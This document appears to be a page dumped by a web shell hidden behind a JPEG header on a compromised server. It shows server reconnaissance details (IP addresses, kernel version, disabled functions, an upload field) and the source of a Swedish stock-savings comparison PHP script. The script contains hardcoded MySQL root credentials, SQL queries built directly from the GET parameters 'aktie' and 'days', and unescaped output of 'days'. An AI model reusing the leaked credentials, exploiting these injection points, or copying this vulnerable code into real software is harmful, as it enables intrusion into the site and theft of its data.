????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.3 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/aktie/ |
Upload File : |
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("astacus_web");
$startbelopp = 100000;
$startbelopp1=$startbelopp ;
$aktie = $_GET['aktie'];
$days = $_GET['days'];
if($aktie == ""){
$aktie = "HM";
}
if($days == ""){
$days = 7;
}
$special_sql = "WHERE aktie = '".$aktie."'";
$sql = "SELECT * FROM tblAktie $special_sql LIMIT 1";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$startkurs = $row['kurs'];
$startdag = $row['dag'];
}
$sql = "SELECT * FROM tblAktie $special_sql order by dag desc LIMIT 1";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$slutkurs = $row['kurs'];
$slutdag = $row['dag'];
}
?>
<html>
<form action="index.php" method="get">
<select id="aktie" name="aktie">
<option value="HM" <?php if($aktie == "HM"){echo("selected");}?>>HM</option>
<option value="Volvo, AB ser. B" <?php if($aktie == "Volvo, AB ser. B"){echo("selected;");}?>>Volvo, AB ser. B</option>
<option value="Swedbank" <?php if($aktie == "Swedbank"){echo("selected");}?>>Swedbank</option>
<option value="BIMObject" <?php if($aktie == "BIMObject"){echo("selected");}?>>BIMObject</option>
<option value="Lundin Mining" <?php if($aktie == "Lundin Mining"){echo("selected");}?>>Lundin Mining</option>
<option value="SAS" <?php if($aktie == "SAS"){echo("selected");}?>>SAS</option>
</select>
Kolla kurs var: <input type="text" id="days" name="days" value="<?php echo($days);?>"> dag <input type="submit">
</form>
<?php
echo("<br>VALD AKTIE: ".$aktie." (Koll: ".$days.")<br><br><strong>Traditionellt sparande</strong><br>");
echo("Innehav start (".$startdag."): ".$startbelopp. " kr. Andelar: ".round($startbelopp/$startkurs,2)." Kurs: ".$startkurs."kr");
echo("<br>Innehav slut (".$slutdag ."): ".round($slutkurs*($startbelopp/$startkurs),0). " kr. Andelar: ".round($startbelopp/$startkurs,2)." Kurs: ".$slutkurs." kr");
$m1 = (round($slutkurs*($startbelopp/$startkurs),0) - $startbelopp);
echo("<br><br>VINST: ".$m1 ." kr");
$startbelopp = 100000;
$startbelopp2=$startbelopp ;
echo("<hr><br><br><strong>Hoffstedsmetoden:</strong> <br>");
echo("Innehav start (".$startdag ."): ".$startbelopp. " kr. Andelar: ".round($startbelopp/$startkurs,2))." Kurs: ".$startkurs." kr <br><br>";
$sql = "SELECT * FROM tblAktie $special_sql and id%".$days." = 0 ORDER BY id";
$innehav = $startbelopp;
$startkurs_start = $startkurs;
$andelar = $startbelopp/$startkurs_start;
$extracash = 0;
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$kurs = $row['kurs'];
$dag = $row['dag'];
$innehav = round($kurs * $andelar,0);
//if($innehav < $innehav2){
if($kurs < $startkurs_start){
echo("<strong>KURS:".$kurs."<br></strong>");
echo("Innehav:". $innehav." kr<br>");
echo("Andelar:". round($andelar,2)." st<br>");
echo("Skillnad: ".abs($innehav2 - $innehav) . " kr<br>");
$skillnad = abs($innehav2 - $innehav);
$koptaandelar = $skillnad / $kurs;
$andelar = $andelar + $koptaandelar;
$extracash = $extracash + $skillnad;
echo("BUY<br>");
}
$innehav2 = $innehav;
$startkurs = $kurs;
}
$innehav = round($slutkurs * $andelar,0);
echo("<br><br> Extra utfyllnad: ".$extracash ." kr");
echo("<br><br> Innehav - Extra utfyllnad: ".($innehav - $extracash) ." kr<br>");
echo("<br>Innehav slut (".$slutdag ."): ".$innehav. " kr. Andelar: ".round($andelar,2)." Kurs: ".$slutkurs." kr");
$ex = $innehav - $extracash;
$m2 = (($innehav - $extracash) - $startbelopp);
echo("<br>VINST: ".$m2." kr<br><br><hr>");
$startbelopp = 100000 + $extracash;
$startbelopp3=$startbelopp ;
$sql = "SELECT * FROM tblAktie $special_sql LIMIT 1";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$startkurs = $row['kurs'];
$startdag = $row['dag'];
}
echo("Innehav start (".$startdag ."): ".$startbelopp. " kr. Andelar: ".round($startbelopp/$startkurs,2))." Kurs: ".$startkurs." kr";
$sql = "SELECT * FROM tblAktie $special_sql order by dag desc LIMIT 1";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$slutkurs = $row['kurs'];
$slutdag = $row['dag'];
}
echo("<br><br><strong>Traditionellt sparande + extra utfyllnad</strong> <br>Innehav slut (".$slutdag ."): ".round($slutkurs*($startbelopp/$startkurs),0). " kr. Andelar: ".round($startbelopp/$startkurs,2))." Kurs: ".$slutkurs." kr";
$m3 = (round($slutkurs*($startbelopp/$startkurs),0) - $startbelopp);
echo("<br><br>VINST: ".$m3 ." kr");
?>
<hr>
<br>
<table width="800" border="1">
<tbody>
<tr>
<td>Traditionellt sparande</td>
<td>Hoffstedsmetoden</td>
<td>Traditionellt sparande + extra utfyllnad</td>
</tr>
<tr>
<td><?php echo($m1); ?> kr </td>
<td><?php echo($m2); ?> kr </td>
<td><?php echo($m3); ?> kr </td>
</tr>
</tbody>
</table>
</html>